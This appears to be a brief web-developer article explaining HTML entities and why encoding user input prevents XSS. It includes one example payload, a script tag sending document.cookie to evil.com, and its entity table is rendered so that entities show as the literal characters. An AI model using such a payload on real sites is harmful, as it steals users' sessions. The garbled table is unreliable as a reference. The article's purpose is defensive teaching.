Developer Tools · 5 min read
What Is HTML Encoding? Entities & Special Characters Explained
If you've ever written < in HTML or wondered why some characters break a webpage, this guide explains HTML encoding — and why it matters for both correctness and security.
Common HTML Entities Reference
| Character | HTML Entity | Description |
|---|---|---|
| < | < | Less-than sign |
| > | > | Greater-than sign |
| & | & | Ampersand |
| " | " | Double quote |
| ' | ' | Single quote / apostrophe |
| (space) | | Non-breaking space |
| © | © | Copyright symbol |
| ® | ® | Registered trademark |
| → | → | Right arrow |
Why It Matters for Security (XSS)
If your site displays user-provided text without encoding it, attackers can inject HTML or JavaScript:
User input: <script>document.location='http://evil.com?c='+document.cookie</script>
If this is displayed unencoded, it executes as JavaScript and steals cookies. Encoding it turns the < and > into harmless text that renders as literal characters.
Rule: Always HTML-encode any user input before displaying it in a web page.
Frequently Asked Questions
Converting special characters into HTML entities so they display correctly and safely. For example, < becomes < so the browser shows the character rather than treating it as a tag.
Without encoding, special characters break HTML structure and can enable XSS attacks when user content is displayed in a page.
< (<), > (>), & (&), " ("), ' ('), (non-breaking space), © (©).
Use PickConverter's free HTML Encoder. Paste text with special characters and get the encoded HTML entities instantly.
Related Articles
</>
Encode or decode HTML — free
Instant special character encoding. No sign-up.
Open HTML Encoder →